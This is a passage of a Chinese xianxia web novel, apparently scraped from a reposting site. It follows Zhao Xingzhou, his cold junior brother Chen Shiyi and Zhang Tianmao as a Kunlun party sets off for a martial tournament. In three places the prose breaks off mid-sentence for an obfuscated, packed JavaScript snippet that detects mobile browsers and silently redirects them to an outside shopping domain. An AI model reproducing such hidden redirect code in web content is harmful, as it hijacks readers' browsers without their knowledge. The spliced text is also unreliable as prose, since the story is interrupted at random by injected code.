随记忆找寻住所,赵行舟轻车熟路,只是进屋时,见身后之人一起入了门,这才诧异地看着他,“你跟进来做什么?” 陈时易皱眉,“怎么了?” “难道我走错了?”赵行舟对着熟悉的屋内摆设仔细看了一阵,见没有异样,方道,“还是说,你现在也住这?” 这个“也”字用得很妙。话一出,陈时易始终盯着着赵行舟的目光突然顿了一下,随即不知想到什么,缓慢地偏移开了。 赵行舟可疑地盯着他看,直把陈时易盯得后了一步,面上挂不住,遂难堪道,“我自有可去之处。” 赵行舟做了个请的手势。 对方却并未走,而是又抬起头来盯着他。 陈时易神态极冷,惯常端着无甚表情的脸,也只有像这样略带恼火看着他时,彻骨寒意从眉间化开一瞬,才更像是个生动的活人。 与赵行舟对视僵持许久后,他终是再度移开视线,拂袖而去。 赵行舟则目送他走了一程。 月光扫在他涨拂的衣袖和飞扬的袍尾上缀着霜重,云浪纷飞,把那道笔直挺拔的背影衬得如剑锋开刃般,敞着开阔的锐气。 隐约间,倒与师傅的身影重叠一二。 曾经谢海生也是同样一套衣服行于宗门。师傅活得随性,服饰不常打理,背影没有这般孤高,更不似此人这般不近人情。 思及至此,赵行舟忽又心生感慨。待人走后,他从怀里掏出传音牌,灌了一丝灵气进去。 没过多久,传音牌里张天茂的声音闷闷地响起来,“干嘛,要还钱啦?” “赊着赊着。”赵行舟好脾气应付两句,又道,“问你个事,陈时易可是我的师弟?” “嗯?”张天茂声音突然来了精神,“你想起来了?” “没有。” “嗯??” “我只是这么猜而已。”赵行舟抓着传音牌分析道,“我是谢海生的首徒,拜师往前的事历历在目,只有后面的事有些想不起来。陈时易出身凌绝,对我态度一般,岁数又摆在这,总不会是我徒弟。我粗略想了想,他只能是我的师弟。” “他对你态度还一般?呵呵。”张天茂笑了一声还不如不笑,“那对我这态度算什么,惨绝人寰?” 赵行舟顿了顿:“你还真别说。” 张天茂以为此人终于要发表和自己同仇敌忾的言论了,却听他又道,“我瞧着陈时易天生一把该练剑的骨头,当年拜入凌绝门下,算他眼光不错。如今他修为登顶,剑意浑厚破体而出,想必也是延续了我凌绝勤修不辍的好习惯。日日苦练,方成大才!唉,真不愧是我凌绝出身的剑修,个顶个出类拔萃。” “谢海生这徒弟收得不错,我还算满意。如此也不怕后继无人了。” …… 张天茂:“凌绝峰狗都不去。绝交吧。” 遂率先断了传音。 赵行舟:…… 于是才有了赵行舟无事翻看书本的一幕。 然而顺着窗隙游进来的霜气,又让赵行舟意识到,他这位陌生的师弟可能并没有走远。 人修炼至渡劫这种境地,自不必睡觉。而凌绝峰中心域灵气之盛,不亚于紫霄山的灵泉,赵行舟亦难得不觉得困倦。 他沿着门前小路向竹林深处走去,不多时,看到一处空地。旁侧置着一尊圆形石桌,旁边凳子上坐有一人。 天上雪下得久了,此人大概是自坐下就没动过,衣袖垂落着意冷,全身被一层雪均匀覆盖着,连眉睫上都挂着霜色。 那个浑身浴血的心魔消失不见。唯他一个人坐在云崖竹林包裹的雪中,看上去有些寥寥。 心魔不在,意味着这人该是恢复常态了 待赵行舟走近后,陈时易终于抬头看向他。那双凤眼眼尾上挑,眉峰凌厉,冷冽倨傲,眼底又流动着一丝意义不明的暗光,好似透过无尽风雪去看他,看了他颇久。 赵行舟率先出声道,“你在这里做什么?” 他出门时只是猜测此人就在周围,没想到还真的就没走。 昆仑有结界,凌绝会下雪已是奇怪。 此人为渡劫期大修者,却连护体防雪的修为都不动用一分,大半夜的白白挨着满身雪水,更是奇怪。 果然,心魔缠身的人不能用常理来判断行为。 赵行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437500|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟在意识到陈时易背后血影是心魔时,不可谓不吃惊。 心魔,意味着修行进入瓶颈,更有人会因道心不稳堕入魔修。此类人大多在修行境界上难有突破。 然而眼前这位师弟的心魔却是反常,不仅时有时无,对他自身修为也并无太大影响,一身剑气精纯至极,修为直逼封顶,不曾有分毫要魔化的倾向。 当然,最奇怪的还得是他陈时易的心魔,为什么赵行舟可以仅凭肉眼就看见?实在是离谱至极了。 正当他想不通,陈时易忽道,“你把我的书弄坏了,却什么都没想起来,是不是?” 你的书?明明是我的书吧。 赵行舟稍作停顿,说了声,“抱歉。” 书曾是他的书,但由人保管百年不损,单这份珍视,他也不该随便弄坏,这句抱歉说得应该。 “不过,书架上那些书虽然不是凡品,但也不至于找不到。且上面已经被写得乱七八糟,你若真想留存,及时拓印才是上策。何以……” 赵行舟顿了顿,就这几张破纸,何以有收藏的价值。 陈时易用一种不甚明朗的眼神盯了他许久,方才沉下声音,道,“九州十一年,你曾问过我一个问题。” “你问我若有朝一日入轮回前,有什么是一定要做的。” “你说,你定会在躺在奈何川里最后看一眼人间,才算不留遗憾。” 他嗓音磨损,一如门前残风卷过的碎雪,又道,“你说话一向不着边际,我不曾当真过。” “我说,入便入了,不过是从头再来。” “何必……多此一举。” 积雪裹挟着五感,散落如屑,不多时已埋过脚踝。 他垂眼,看着自己惯常握剑的右手,掌心伤痕纵横,食指第二骨节更有一道深可见骨的旧伤,神色静寂。 “后来我在奈何川里找了很多年。没找到。” 遂笑了一下,鼻息霜重。 “又怕你把我的话当真了。” 风雪漫过眼前,频频有竹叶不撑,落下一抔彻骨的寒意来。 二人衣袖相继荡在空中,数尺之外,赵行舟一时无言。 即使各说各话,对方眼中仍有他看不懂的情绪在凝聚,夹杂着深重不宁的气息,堪堪便要从天边积压的云层中沉落。 赵行舟分辨再三,只勉强看得出无望。 对方如静守于一方困境,这种逼仄无望的情绪亦令他感到不舒畅。 所以此人大半夜在此处坐着,就为了回忆人生? 赵行舟思忖半晌,无法,便走上前。右手双指并拢,掐指再握,最后挥至眼前。 一个复杂又相当流畅的剑诀。 对方既是他师弟,又对过往表现得如此情深意重,他合该要表示一下关心。 有火从赵行舟的指尖燃起,虽微弱,但在铺天盖地的雪中仍灿若一簇烈阳。 赵行舟想,凌绝剑修当属天地最自由洒脱之辈,怎能受过往所累? 于是把这一小簇火苗伸于对方眼前,向他示意,“你看,我这鸿蒙日炎真决虽然小是小了点,但……” 话还没说一半,指尖这簇烈阳就因修为不撑,砰然四散开来,如萤火逃逸,又为纷纷坠落的雪花镀上一层岩浆色。 赵行舟愕然。 一百年没用过的成名技,现如今弱得只能化雪花了吗? 遂话也说不下去了,脸色不是很好看。 不料下一秒,陈时易的手径直握住了他的手。 握过来的手微泛冷意,伴随有一丝凛厉彻骨的浑厚气息涌入赵行舟手中。霎那间,还未等他反应过来,那簇还未完全溢散的火光已于指尖暴涨。 火光逼人,几乎燎了二人的头发。 “你想说什么?”陈时易于火光中沉沉地望着他。 在滔天的烈火中,就着迎面扑来的无尽雨水,赵行舟抹把脸,勉强把剩下劝导的话说完了,“你看,这鸿蒙日炎真决……你不如也学学,别整日下雪没完。凌绝以前没有这么冷的,又没个活人可说话,好人都该冻出癔症了。” 没有修为蔽体,五感尽数被灼热的气息充斥着,陈时易眉间沉霜亦被炙烤着。赵行舟在冰火交加中摆不出一个正经表情,与他两两对视。 对视久了,竟莫名从对方眼中看出一丝松懈恍惚之意。 好似乍冷还温,又似惊蛰春雷过境,寒冬崩裂开缝隙。 陈时易薄唇微微抿了一下,道,“我会。”顿了顿,又道,“这法诀又不难。” …… 听这意思,莫不是在挑衅他。 11. 第 11 章 赵行舟收了手,火在二人双手分离之际消失无踪。 炙热的余温将霜气蒸成一片朦胧的雾色。 手上残留着对方微冷的触感,赵行舟感受片刻,觉得还是不对劲,忽道,“等等,你是水灵根吧?” 水灵根者善用与水元素相关的一切法术,冰雪霜雨皆在其中。传水灵根大能者可肆意操纵气候,是故赵行舟会这样问。 但鸿蒙日炎真决却属离火类,坎水灵根者欲习之,因属性相克,几乎是不可能的。 陈时易闻言,大约知道赵行舟想说什么,抬手时连引决都省了,指尖现出一簇火来。 “我是雷水双行。” 赵行舟一愣,追问,“先天双行?” 陈时易抿去指尖火色,眉间疏阔,看着他,“先天双行。” 雪停了。 赵行舟不说话。 修行界以易经八卦中的离、坎、震、巽、泽、艮这六卦,做大类,用以区分修行者的灵根。 其中,震为雷,雷根主杀。坎为水,水根主解。雷水双行,意味着携此灵根者攻杀兼备,溶道解意,注定形意霸蛮之极。 天生适合主杀位的双灵根,还是剑修。 若是先天双灵根,那么勉强辅修几个属性相斥的小法术,也不是不可能。 但鸿蒙日炎真决好歹是个高阶法术!竟被人如此轻易就学了去,还真是…… 二百多年过去了,赵行舟看着陈时易,忽然开始理解谢海生当初收徒的心情。 遥想他赵行舟上辈子,乃风火双根,与雷水二道正相生相克,亦是先天双行。 离为火,火根主控。巽为风,风根主迅。 虽不主修杀位,却是最适合修控位的双灵根。 亦是剑修! 也不知该说是天意,还是他谢海生运气好,竟收得到他们这样两位旷世奇徒。 思及至此,赵行舟心里微哂,觉得好笑。 随后又想,上一世师傅为他所累,待日后他修为扎实了,免不了要寻一下谢海生的转世吧,看看有什么能帮上忙的。 还有眼前这位师弟,师门一共不过三人,百年前死了一个,现在又被他忘了一个,实在不是那么回事。 赵行舟想了半天,将手在陈时易的肩膀上用力攥了一把,承诺道,“你且放心,若这轮秘境我进得去,我定会想办法找回失去的记忆。” 陈时易感受到肩膀上的力度,沉默片刻,才道,“你要去洞天秘境?” “我身上的秘密大概和秘境脱不开关系,左右是要去一趟弄清楚。” 百年前祭剑的那个剑诀,便是赵行舟偶然从秘境中获得的,解铃还须系铃人么。 只是个中缘由他没有告诉任何人。 陈时易坐着一时没说话。 察觉到时候着实不早,赵行舟便道,“后天我会随昆仑小队一同前往拭武大会,你且等我的好消息。” 话毕,打了个呵欠,便作别,向住处走去。 竹影深深,那人身影上铺着月光,被翠色竿叶完全吞没后,陈时易胸口处没由来的一紧。 好似一切又如泡影,令他于梦中骤然惊醒,下意识便要去伸手。 可是刚一起身又顿住了,恍惚中刚刚那人仍握着他的肩膀,力度不减。 没由来想起从前。 从前赵行舟爱酒,只是喝得不算多。照他的意思,剑修不配酒,算不得最快意的剑修,可天下美酒能入他眼的,又寥寥无几。 有时赵行舟喝醉了,便会这样握住他的肩膀。握力深重,混着酒意,附于他耳边轻笑,“陈时易,你看这皎月。” “便是今宵醉死,也堪不负这美景相伴。” “这样好的酒,你当真不喝?” 劝酒的话似乎尚在耳旁,陈时易目光晦暗看着竹林深处,遂收紧落在石桌上的五指。 赵行舟此人极重承诺,他说要做,便一定做得到。 强压住眼底几乎破出的郁气,陈时易挥手作引,御剑飞往观云主峰方向。 -- 昆仑之巅常年积雪,然而今日云层单薄,显出背后一层月晕。 倏尔,夜空中刺出一抹流光,霎时便将仅有的云层冲散。 逐月台,漫漫雪地上,惊春剑被拖拽至禁咒边缘。 由于长时间无主,剑已蒙尘,只看得出剑鞘呈天青色。它歪斜着立在雪中,如春雷一股,似要将无痕雪壤震出裂痕,再从中崩裂出无数生机。 陈时易鲜少触碰惊春,大多时候他任凭它沉寂于此,与百年岁月一并埋葬。 他右手随意做了个决,瞬息间,那道足以将化神期修士炼化溶解的禁咒波动一瞬,便散裂开来,不复存在了。 下一刻,惊春被他牢牢握在手中。 陈时易感受着手中长剑的重量,不免想到刚刚肩膀上的握力,又想到那人不堪受缚的右手。 这右手便如他的酒意,如他的剑气,亦如他整个人。 却不知再见到惊春,他会不会高兴。 有人感知到昆仑之巅的波动,乘风而来。虚微子拂须微笑,“老夫好久没有在逐月台赏月了。” 昆仑之巅今日难得月明,星光璀璨生辉,列为昆仑七景之一名副其实。 陈时易将惊春收入乾坤戒中,对虚微子冷道,“有事?” 虚微子道袍纷飞,飘在空中,淡笑不语。 南仲君一天之内,先以神识重压龙砚峰,又一剑劈了紫霄峰,如今再把昆仑之巅的禁咒撤了,如此多反常的事情堆在一起,不由得别人不多想。 不过,若南仲君自己不愿说缘故,谁也撬不开他的嘴。只能猜测一二。 “上次说予你的事,你先不必急着回绝老夫。”虚微子笑眯眯道,“此事老夫同样委托了紫霄峰峰主。洞天秘境一向对四百岁以下的人类修士格外青睐,老夫和其余三位峰主便是想去,也多半力有未逮。” “此行昆仑目标只有一个,便是拿到试炼之地的补天石。当然妖界、魔界,乃至鬼域、仙灵,也必然有许多和我们相同目的之辈。” 说着,虚微子淡去笑容,道,“补天石乃宇宙最初精粹力量所化,亦是人魔两界组成结界的重要神物之一。得补天石者,既可再续结界,亦可反之使结界破损。人魔两界虽已休战千年,可种族矛盾根深蒂固,绝无消除的可能。结界若破,后果不堪设想。” “与我何干?” 陈时易打断他,反问。 大概不意外南仲君的态度,虚微子只是劝道,“结界一破势必生灵涂炭,我辈修仙者自当心怀天下……” “这天下如何,又与我何干?” 陈时易神色漠然,眉间透着一丝不耐。 他确实有与生俱来的倨傲,这种倨傲撑起了他的脊梁,亦令他不把任何人放在眼里。 若不是见过他百年前状若入魔的可怖样子,虚微子当真会以为此人修的是无情道,当真不会有心。 “如此也罢。”虚微子目送南仲君不等说完就御剑而起,随风道,“你若入境,纵使不去争,也尽量照顾天茂一二。天茂金莲已有雏形,他是这次秘境入选者之一。” 回应虚微子的,是自高空剑上传来的一声冷哼。 -- 张天茂住在自家院子里屋顶尚存的侧房,看着右手臂上隐现的金莲,长吁短叹。 他足有一百多年没入过洞天秘境,本轮也不知是犯了什么邪劲,竟把他选上了。 这洞天秘境乃天道所化,其中禁制和规则颇多,便是成了神仙也无法撼动。其中最广为人知的一点,就是修为限制。 说得简单点,秘境中所有人,无论修为多高,哪怕是下一秒就要渡雷劫飞升的大能,在进入秘境的一瞬间,都会被压制到最多金丹圆满。 至于修为不到金丹圆满的,则还是按照自身修为来算。 他好端端一个化神巅峰,跑去秘境至少要被压制足足两个境界,那种憋屈感实在一言难蔽之。 再一想到他还带着掌门的任务,要跟一帮小辈以及修为远不如他的废物抢什么狗屁补天石,这种憋屈感就再一次升华了。 -- 此次拭武大会由昆仑紫霄峰峰主带队,阵势恢弘。 要知道往届拭武大会,由峰主门下首席弟子带队已算高规格。 想来,大概是因为本轮大会正衔接洞天秘境,热门入选人才需额外看护,所以宗门也表现出了非同寻常的重视。 本轮拭武大会位处北洲渡山郡。路程不算远,御物飞行约两天半方可到。 昆仑小队人数足有五十六人,其中修士四十人,门下侍十六人。赵行舟因与狮妖金猊一战表现出彩,被选在十六人其中。 赵行舟没什么行李,一路从凌绝跑下来,畅通无阻。快到山脚下时,打眼一看没什么熟悉面孔,就站入门下侍的队尾。 反观等待中的一众昆仑弟子,倒是有几人对他印象。 其中,观云峰的剑修沈文铮赫然在列。她那日观战后,对这小妖印象较深。回去想了很久,亦没想通他最后是如何赢的。眼下有些意动,想询问一二,但又不知如何开口。 没成想下一秒,一个拎着花锄的男子跑了过去,边跑边喊,“妖兄,是你!你果然还活着!” 赵行舟打量这人一眼,发髻散乱,袖口全是泥巴,花锄扛在身上,目光炯炯有神。想了半天,实在没想起来此人是谁,遂问,“你是?” 花锄男闻言颇受打击,“妖兄,是我啊!那天你和金猊比试,我在台下还说要捡你回去插秧复活的,我叫秦山渐,你不记得我了吗?” 说罢,不等赵行舟想起来,又狂拍赵行舟的肩膀,赞叹道,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437501|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妖兄,你可真是太给我们紫霄长脸了啊!你是不知道,自打你前几天试炼台上大败金猊,好多龙砚弟子见着我们紫霄都躲着走,哈哈哈。” 秦山渐如此不加掩饰的炫耀,引来旁侧好几道目光的怒视,看他们湖绿色的衣领子,显然是龙砚弟子。 其中一人不屑道,“你一个金丹修士,竟与妖物称兄道弟,也不嫌丢人?” 秦山渐则转头,对着身后几位紫霄同门稀奇道,“金丹怎么啦?某些山的金丹还不是一样被筑基反杀,亏得之前还在那大放厥词,还有脸开盘下注,丢人啊,好丢人啊!” 紫霄几人哈哈大笑起来。 赵行舟则被此人拍得半身发麻。此人虽不是体修,但实力至少是金丹中期,手劲不小。 龙砚弟子以体修居多,个个身材壮硕,如此一听,立刻有冲动的挤上前来。 “你说什么?” “秦山渐,你小子试炼台上还不是一样败给我们志远师兄!几天不打你,皮痒了吧?” 秦山渐不恼反笑,“切,刘志远一个主修杀位的体修,打赢我一个主修生位的法修,有什么可得意的?要是被我打败了,他才该没脸活了。” “明明是技不如人,还强词夺理,紫霄峰好厚的脸皮!” “你说谁脸皮厚,有种你再说一遍!” 眼瞧着两边要打起来了,赵行舟忙挣脱开,免得卷入其中。 后退两步察觉旁边有人盯着自己,目光夹杂着羡慕嫉妒以及恨意,十分复杂。赵行舟看过去,意外认出一张熟面孔。 “咦,竟然是你?”赵行舟对着雀妖左右侧看了看,“那只兔子没来吗?” 雀妖小声又尖锐道,“那只兔子弱得不够给别人当下酒菜的,哪里比得上我雀爷!” 见赵行舟要往他这边走来,雀妖立马炸毛制止,“你别过来!” “怕什么,我又不能吃了你。”赵行舟难得好心情打量他,“十六个人都把你选上,看来你还真有点本事。” “那当然……你别过来!” 聒噪间,一把折扇凌空落下,众人吵闹声音骤减。 “大清早嚷嚷什么,是去比武,还是去菜市场叫卖?” 张天茂从折扇上走下来,正色巡视一圈,颇具峰主仪态。 目光在赵行舟身上稍钝,咳嗽一声便移开,随手指向一名紫霄弟子。 “点人数,人齐了就出发。” 自家峰主领队,紫霄峰士气更旺,个个昂首挺胸,反观龙砚峰一众此刻却像打了霜的茄子一样,低头垂首,一言不发。 秦山渐凑过来,用手锤了赵行舟的胸口几拳,然后频频扬眉,那意思好像是要给他鼓气。 赵行舟:……兄弟,不必再锤了。 不多时,派去点名的紫霄弟子便一脸骄傲地跑到张天茂眼前,高声道,“回禀峰主!人齐了!”峰主两个字咬的尤其重,唯恐谁听不见似的。 张天茂也没在意底下这些歪歪门道,大手一挥,“行了,那就金丹以上的分别带一下筑基的,分分人头,出发吧。” 御物亦是金丹以上的修士才会的法诀,这种安排在宗门中十分寻常。众人闻言开始四散找自家宗门的师兄弟。妖物也是同样。 赵行舟看了看旁边的雀妖,“我看你是会飞吧?” 雀妖后跳三步,“你想都别想!” 二人周旋之际,便见张天茂又是随手一指,“你。” 赵行舟众目睽睽之下被指了,遂与张天茂两两对视。张天茂状似随意道,“我身为峰主,理应为大家以身作则。那什么,你就跟着我吧。” 此话一出,众人吸气。秦山渐不可思议地向赵行舟比大拇指,那意思就是,不愧是功臣,竟享有如此殊荣! 至于雀妖,嫉妒的眼光已经快把赵行舟烧穿了。 赵行舟坦然走向张天茂,左右他现在挂在紫霄门下,毫无心理负担。 御物纷纷落地,各家山头带着各家山头的师弟师妹,张天茂和赵行舟分别在扇子上前后坐好了。 遂听张天茂一声令下,“出发!” 与此同时,在场所有人正欲起飞,忽然感到一阵霜气拂面略过。 几乎感觉不到任何气息,众人却觉得心头猛地一跳。 随即张天茂的脸色骤变,面如酱色,一副随时要被憋死的样子,怒目向后转头。 赵行舟只觉得旁侧扇子偏了一下,好像上来一个什么重物。 他和张天茂同步转头,与拂袍而坐的陈时易对视个正着。 赵行舟:…… 张天茂:…… 众弟子:…… 原本聒噪的气氛,此刻冷得能掉下渣来。 所有人就像凝固了一样停在地面上,一动不动。 陈时易冷笑一声,“你不是以身作则么,走啊。” 12. 第 12 章 渡山郡位处北洲中部,大陵国境内数一数二的繁华大城。 城内由东、西、北三面群山环抱,地势北高南低,城墙耸立,易守难攻。 修真门派与人间城池来往,保持着各自默契。修真人士抵达城门前,通常会先落地,步行进去,以示尊重。而守城士兵亦不会索要繁琐的通关文牒,通常只需提供该门派的信物,即可放行。 自然,如渡山郡这样重要的城市,大多也会有吃朝廷俸禄的修真者坐镇,以备特殊情况发生。 马文珠便是坐镇渡山郡的一位修者。他修为元婴初期,四五十岁的样貌,留一把山羊胡,瞧着像是个好说话的。然听说过他的人都知道,此人面上圆滑恭谦,背地里却是个善用暗器的。出手狠辣,速度之快,令许多元婴中期修士都防不胜防。 马文珠出身大陵,幼时家境贫寒,因缘巧合随一位散修老道踏上修仙之路,未料到天赋不错,竟一路突破至元婴。如今再回大陵,皇帝赐他从三品官,承诺只要肯出面坐镇渡山郡,仙丹美眷应有尽有。他颇为满意当下的生活,常年周旋于大陵和修真界之间,各方各路都给他面子,比做散修时更有江湖地位。 如今三年一届天下拭武大会在渡山郡举行,对于马文珠这个守城之主而言,任务不可谓不沉重,但其中可取的好处亦是千载难逢! 不说别的,单说这几日可接触到的人脉,就是其他散修一辈子未必能触及的高度! 接待客人同样有技巧,对于天下皆知的名门,通常是不需要打扰太多,只需要尽快放行即可。但又如玄元、天鹰教这种没落名门,那多半就需要多寒暄几句,以显示出对方的地位和主办方的重视。 马文珠与身后几位样貌周正的弟子一同等在城门口,刚笑颜笑语将玉冥一众接待入城,就收到了琦渊即将入城的消息。 本轮拭武大会情况特殊,各名门大概为彰显势力均衡,皆派出一位长老级别的修士坐镇。这些名门长老大多为化神期往上的高手,其举手投足间不自觉散发而出的威压,令接待的几位弟子汗流浃背,马文珠额头也出了点汗。 他想,好在今日琦渊来得晚一步。 玉冥和琦渊,虽同为五大门派之一,但自百年前势力划分后,尚属半敌对关系。这要是在门口撞见了,难免气氛僵持不下,是他这个东道主最不愿见到的状况。 虽然这种情况有时不可避免。 马文珠收拾好心情,迎面见长枪上一位老者率先横空而出,后面尾随几十个光点,显然是琦渊的人。 “崔长老,幸会幸会!快这边请!”马文珠秉持着话少的原则,眼疾手快指了一个弟子。弟子相当会看眼色,两步跑上前去带路。 薛从任稍微点过头,便算与马文珠打过招呼,由人领着进城。马文珠丝毫不觉不妥,脸上堆着笑。薛从任大乘初期的修者,肯下地走路已经是给足了大陵面子了,哪还敢奢望对方给他什么反应。 琦渊一众入城,衣着绣着金线的玉袍,引来路边人纷纷侧目。 名门身上那种由内而外散发出来的傲气,果然不是一般小门小派能比的。有位少女跟在一位男子身后,沿路东张西望,随后看着自己的右手臂道,“师兄,我看着渡山城也没什么意思,就不知洞天秘境会不会好玩一些。” 张沛岑用衣袖盖住钱巧巧右手臂隐现的金莲,低声示意,“此处人多眼杂,到了再说。” 钱巧巧收了手,冲张沛岑做鬼脸。旁边一男子笑道,“张师兄,也不必如此紧张。此次我们琦渊五子已入选三人,金丹下鲜有敌手。即便是到了试炼之地,亦互有照拂,总不会叫人欺负了师妹去。” 张沛岑闻言,摇摇头,只道,“还是慎言。” 城门前接过琦渊后,又有几个小门派,马文珠并不上心,挥手确认信物便算过了。而后大约过了一炷香的时间,接到昆仑即将抵达的口信。 终于到昆仑了!马文珠精神一振,随即又心生疑惑,因为昆仑来的时间比通知预计的至少早到了半天。 要说昆仑如今在五大门派中的地位有些特殊。 首先是该门派弟子在同级别中都属出色之辈,基本功扎实。其中又以剑修弟子尤为出众,实力之蛮横有目共睹。 再者,也是最重要:昆仑有两位渡劫期的大能坐镇。 如今三界两域间,位处渡劫期这种实力,一共超不过十位。 单这一点,当世已无门派势力可与之抗衡! 是故昆仑弟子出山总傲气于世,大多有不把其他所有门派放在眼里,为我昆仑天下独尊的感觉。 据登记信息显示,昆仑此行是紫霄峰张峰主带队。马文珠虽未见过此人,但也知其一二。 张天茂张真人,乃紫霄峰上一任峰主张清风真人的独子,传闻不仅人生的风流倜傥,天赋亦是超绝,不过三百余岁已修至化神圆满,是修真界真正的青年才俊! 这种人,哪怕仅是点头之交,于日后在修真界行走,也将大有益处! 马文珠整理过自己的衣着,又吩咐身后弟子打气十二分精神来。不多时天边破出一道扇影,身后亦跟随数十道光点,乃昆仑一众弟子! 就是不知为何,扇子和身后一众的距离,看上去有那么点远。 难道是张峰主路上飞得太快,令弟子们跟不上了? 马文珠转念一想,也是,毕竟张峰主在修真界还算年轻一辈,没点耐心实属正常。怪不得提前这么久就到了。 遂笑容满面得迎上去,在看清楚扇子上竟稳坐着三个人后,马文珠笑容僵了一下。 好在他表情调节能力很强,愣是没让自己表现出惊异来,而是暗地里打量:扇上三个人,撇去为什么有一只妖不谈,剩余二人…… 他愣是一位都看不出深浅。 马文珠心里有点着急,只得继续揣测:都说张峰主青年才俊,上面二位……都挺青年才俊的。 左手边那位衣冠楚楚,风姿绰约,但脸色不太好看,隐含着愤恨和……憋屈?右手边那位,容貌逼近天人,云袖玄衣,背挺腰窄,修为境界收敛得一丝不剩,只余眉间留着几分霜重。 这、这这这…… 眼瞧着人已经落地了,马文珠不敢再耽搁,只得硬着头皮迎上去,思索再三,还是选中那位云袍男子。 此人虽实力不外露,然压迫感之强,隔着半边天都感觉得到,明显是这行人中实力最强的一个。只是不知昆仑张天茂真人原来是如此一位锋芒毕露,倨傲难测之辈。 遂谨慎拜道,“张峰主,久闻大名,有失远迎,这边请,这边请!” 说着要侧过身去带路,却见左侧下来的男子把扇子收于手中,闻言脸更是黑了一层。 正欲拜手的马文珠见此,冷汗瞬间就下来了。 他虽没有那么了解昆仑文化,不明白衣服配色在昆仑中代表着什么。但紫霄张峰主法器浮绿扇,还是有所耳闻的! 不成想张峰主竟是左手边下来那位,那眼前这人,又当是谁?! 来不及多想,马文珠硬是让自己的老腰一百八十度扭了个弯,对另一侧道,“这边请,哈哈,这边请……” 背后一起迎接的几位弟子,见自家师傅这一连串奇怪的动作,冷汗已经要浸透后背。 和这些人同样感想的还有背后一众昆仑弟子。 城门口,路人不久前刚目送了玉冥和琦渊两拨人进城,那阵仗,那清高的神情,只能说不愧出自五大名门。 而声名在外的昆仑,想必只会更甚吧! 但与传说不同的是,此番昆仑弟子却像组团来朝拜似的,一个个神色紧绷,有人不甚利索地从法器上走下来,有人还不明原因地绊了一跤。 随后在后面自动排成两列,低眉垂首,一言不发。 其低调程度令在场所有人甚感惊异,更别提什么声名远扬的傲气了。 其实这种诡异又谦逊的气氛在昆仑队内已经持续了两天。 自从陈时易出现在浮绿扇上的一刻起,昆仑众人便像是集体失声了一样,除最基础的行路沟通外,再没人多说一句废话。 也不知是不是气氛过于压抑,原本两天半的路程,硬是让大家咬着牙提速到两天。 不过其他弟子不知道的是,扇上对话在这两天内其实已经进行过百八十轮了。 无非是张天茂下了封音结界,旁人听不到而已。 路上赵行舟问旁边人,“你怎么来了?” 陈时易道,“左右无事。” 赵行舟转头看着他,“你不会是跟着我来的吧?” 陈时易一顿,“是又如何。” 原本只是随口一猜,没想到还真是,赵行舟深感意外,“你身为一峰之主,难道没有什么别的事情可干吗?” 陈时易皱眉,不甚走心地回想了一下,随即道,“没有。” 张天茂听得牙都酸了,回之冷笑,“你没事你自己下去飞呗,你坐我扇子算怎么个事?” 等了半天等不到答复,回头才发现陈时易正端坐着看天边,压根没打算开口回他。 ……靠。 遂回头对赵行舟告状,“什么没事!掌门前日刚找他说了补天石的事,他可倒好,不答应也就罢了,还说什么,天下之事,与我何干,都死光得了!” 陈时易果然回首,眉头皱得更深一寸,“最后一句我没说。” “你没说,但你就是这个意思!” 赵行舟奇怪看着剑拔弩张的二人,“虚微子要补天石做什么,难道人魔结界有异动?” 张天茂颇为恼怒,“目前还无事,只是近百年魔界动荡频繁,若没有补天石续力,结界估计难以支撑太久。” 陈时易亦不怎么爽快,“结界本是人力刻意为之,其后果也定为人所承担。不过或早或晚罢了。” 话是这样说没错。千年前未设结界时,人魔二届冲突频繁,也不见得有哪边就这样毁了。 如今虽保持了千年的表面和平,实则两边积怨更深,若再度放开,才怕是真要拼得你死我活。 道理大家虽懂,只是形势已至此,都得是拖过一阵算一阵,再想辙。张天茂如今肩负天下稳定的重任,压力十分之大,对赵行舟愤愤道,“同为有入境名额的人,他不肯去,掌门只能要我去!我一个主守副生位,没有队友,仅凭金丹圆满的修为,能不能抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437502|141490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得过还两说……” 说着,一时间悲从中来,“我都一百多年没下过试炼之地了,还要跟一群百八十岁的小辈抢前三名。抢到便也罢了,若真没抢到,到时让我一张老脸往哪搁……” 赵行舟见张天茂说得甚是悲催,有些好笑,便道,“无妨,待我顺利拿到入境名额,控位留着,兄弟帮你。” 张天茂一听,马上止住了号丧,深受感动地握住赵行舟的一只手,“行舟兄,就看你的了,你可得加油入境啊!” 听那边很不怎么爽快地“啧”了一声,张天茂充耳不闻,只抓着赵行舟不放。 他兄弟如今修为弱是弱了点,但好在秘境内封顶不过金丹圆满,差距没有那么大。 